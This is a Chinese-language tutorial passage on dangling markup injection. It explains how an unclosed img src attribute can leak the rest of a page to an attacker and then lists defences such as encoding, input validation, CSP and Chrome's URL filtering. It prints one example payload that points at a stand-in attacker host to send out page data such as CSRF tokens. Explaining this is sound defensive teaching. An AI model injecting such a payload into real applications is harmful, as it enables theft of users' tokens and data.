|
1. 什么是dangling标记注入
dangling标记注入是一种用于在完整的XSS攻击无法成功执行的情况下跨域捕获数据的技术。
假设应用程序以不安全的方式将攻击者可控制的数据嵌入到其响应中:
<input type="text" name="input" value="CONTROLLABLE DATA HERE
再假设应用程序不过滤或转义 > 或 " 字符。攻击者可以使用以下语法闭合属性值的双引号和标记,并返回到HTML上下文:
">
在这种情况下,攻击者自然会尝试执行XSS。但是假设由于输入过滤器、CSP策略或其他防御措施,常规的XSS攻击是不可能的。在这里,仍然有可能使用如下payload来完成dangling标记注入攻击:
"><img src='//attacker-website.com?
该payload创建一个img标签,并定义src属性的开始,该属性包含攻击者服务器上的一个URL。请注意,攻击者的payload并没有闭合src属性,它仍然处于左摆状态(将标记属性的开始和结束比喻为钟表的摆动)。当浏览器解析响应时,它将向前查找,直到遇到一个单引号来终止属性。单引号之前的所有内容都将被视为URL的一部分,并将在URL查询字符串中发送到攻击者的服务器。任何非字母数字字符,包括换行符,都将是url编码的。
攻击的结果是,攻击者可以捕获注入点之后的部分应用程序响应,这些响应可能包含敏感数据。根据应用程序的功能,这可能包括CSRF token、email消息或财务数据。
2. 如何防止dangling标记攻击
可以使用防止XSS的通用防御措施来防止dangling标记攻击,方法是对输出数据进行编码,并对输入进行校验。
你还可以使用内容安全策略(CSP)缓解一些dangling标记攻击。例如,你可以使用防止像img这样的标签加载外部资源的策略来防止某些(但不是所有)攻击。
Chrome浏览器决定通过阻止像img这样的标签定义的URL中包含格式化字符(如尖括号和换行符)来拦截dangling标记攻击。因为被捕获的数据通常会包含这些格式化字符,因此攻击被阻止 |